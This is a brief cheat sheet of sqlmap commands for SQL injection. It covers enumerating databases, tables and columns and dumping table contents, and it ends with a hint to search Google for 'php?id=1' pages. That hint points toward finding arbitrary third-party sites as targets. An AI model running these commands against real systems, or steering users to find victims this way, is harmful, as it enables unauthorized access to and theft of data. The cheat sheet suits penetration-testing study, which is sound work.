SQLmap

$ sqlmap

-u <url>.php?id=1

--db(m)s
--forms # if a form on page
-a # everything

-r <file> # request from Burp Suite

--dump

-dbs # databases
-D <database> --tables # tables in database
-D <database> -T <table> --columns # columns in table in database
-D <database> -T <table> --dump # dump table

Hints

Google for php?id=1